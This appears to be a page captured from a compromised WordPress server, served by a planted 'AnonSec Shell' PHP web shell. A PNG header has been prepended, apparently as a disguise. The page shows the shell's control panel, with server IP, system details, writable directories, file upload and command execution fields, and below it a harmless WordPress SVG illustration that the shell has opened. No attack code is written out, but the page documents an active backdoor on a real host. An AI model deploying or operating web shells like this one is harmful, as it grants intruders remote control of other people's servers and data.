‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-admin/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-admin/images/contribute-no-code.svg
<svg width="291" height="290" viewBox="0 0 291 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#a)">
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M270.345 217.08c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M260.414 230.938c15.797-27.361 6.422-62.349-20.94-78.146-27.362-15.797-62.349-6.423-78.146 20.939-15.798 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M247.972 242.592c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.798 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M233.491 251.59c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M217.543 257.591c15.797-27.362 6.422-62.349-20.939-78.146-27.362-15.798-62.35-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.939 78.146 27.362 15.798 62.35 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M200.721 260.371c15.797-27.362 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.146 27.362 15.798 62.349 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M183.691 259.816c15.797-27.362 6.422-62.349-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.939 78.146 27.362 15.797 62.35 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M167.095 255.944c15.797-27.362 6.423-62.349-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M151.563 248.909c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.798-62.35-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.94 78.147 27.361 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M137.705 238.977c15.797-27.362 6.423-62.349-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M126.05 226.538c15.797-27.362 6.422-62.349-20.94-78.147-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.348 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M117.05 212.063c15.798-27.362 6.423-62.349-20.94-78.147-27.36-15.797-62.348-6.422-78.146 20.94-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M111.046 196.104c15.798-27.361 6.423-62.349-20.939-78.146-27.362-15.797-62.35-6.422-78.147 20.939-15.797 27.362-6.422 62.349 20.94 78.147 27.362 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M108.271 179.293c15.797-27.362 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.939-15.797 27.362-6.422 62.349 20.94 78.147 27.361 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M108.825 162.255c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.94 78.147 27.36 15.797 62.348 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M112.701 145.655c15.797-27.362 6.423-62.35-20.94-78.147-27.361-15.797-62.348-6.422-78.146 20.94-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M119.731 130.126c15.797-27.362 6.422-62.35-20.94-78.147-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M129.662 116.276c15.797-27.362 6.423-62.35-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M142.104 104.62c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.797-62.35-6.423-78.147 20.94-15.797 27.361-6.422 62.348 20.94 78.146 27.361 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.579 95.618c15.797-27.362 6.423-62.35-20.939-78.147-27.362-15.797-62.35-6.422-78.147 20.94-15.797 27.361-6.422 62.349 20.94 78.146 27.361 15.797 62.349 6.423 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M172.533 89.615c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.94-15.797 27.361-6.423 62.348 20.94 78.146 27.361 15.797 62.348 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M189.349 86.838c15.797-27.361 6.422-62.349-20.94-78.146-27.362-15.797-62.349-6.423-78.146 20.94-15.798 27.361-6.423 62.348 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M206.385 87.39c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M222.987 91.264c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.798-62.349-6.423-78.146 20.94-15.797 27.36-6.423 62.348 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M238.519 98.297c15.797-27.362 6.422-62.349-20.939-78.146-27.362-15.798-62.349-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.939 78.146 27.362 15.798 62.35 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M252.371 108.227c15.797-27.362 6.422-62.35-20.94-78.147-27.362-15.797-62.349-6.422-78.146 20.94-15.798 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M264.02 120.665c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.797-62.349-6.422-78.147 20.94-15.797 27.361-6.422 62.348 20.939 78.146 27.362 15.797 62.35 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M273.026 135.14c15.797-27.361 6.422-62.349-20.939-78.146-27.362-15.797-62.35-6.423-78.147 20.94-15.797 27.361-6.422 62.348 20.939 78.146 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M279.03 151.099c15.797-27.362 6.422-62.35-20.94-78.147-27.361-15.797-62.349-6.422-78.146 20.94-15.797 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.423 78.147-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M281.799 167.916c15.797-27.361 6.422-62.349-20.94-78.146-27.361-15.797-62.349-6.423-78.146 20.939-15.797 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.147-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M281.251 184.957c15.798-27.361 6.423-62.349-20.939-78.146-27.362-15.798-62.349-6.423-78.146 20.939-15.798 27.362-6.423 62.349 20.939 78.147 27.362 15.797 62.349 6.422 78.146-20.94Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M277.374 201.558c15.798-27.362 6.423-62.349-20.939-78.147-27.362-15.797-62.349-6.422-78.146 20.94-15.798 27.361-6.423 62.349 20.939 78.146 27.362 15.797 62.349 6.423 78.146-20.939Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M270.351 217.082c15.797-27.362 6.423-62.349-20.939-78.146-27.362-15.798-62.349-6.423-78.147 20.939-15.797 27.362-6.422 62.349 20.94 78.146 27.361 15.798 62.349 6.423 78.146-20.939Z"/>
<path fill="#3858E9" d="M219.5 191.5v10h1.5v-10h10V190h-10v-10h-1.5v10h-10v1.5h10Z"/>
</g>
<defs>
<clipPath id="a">
<path fill="#fff" d="M.5 0h290v290H.5z"/>
</clipPath>
</defs>
</svg>

Anon7 - 2022
AnonSec Team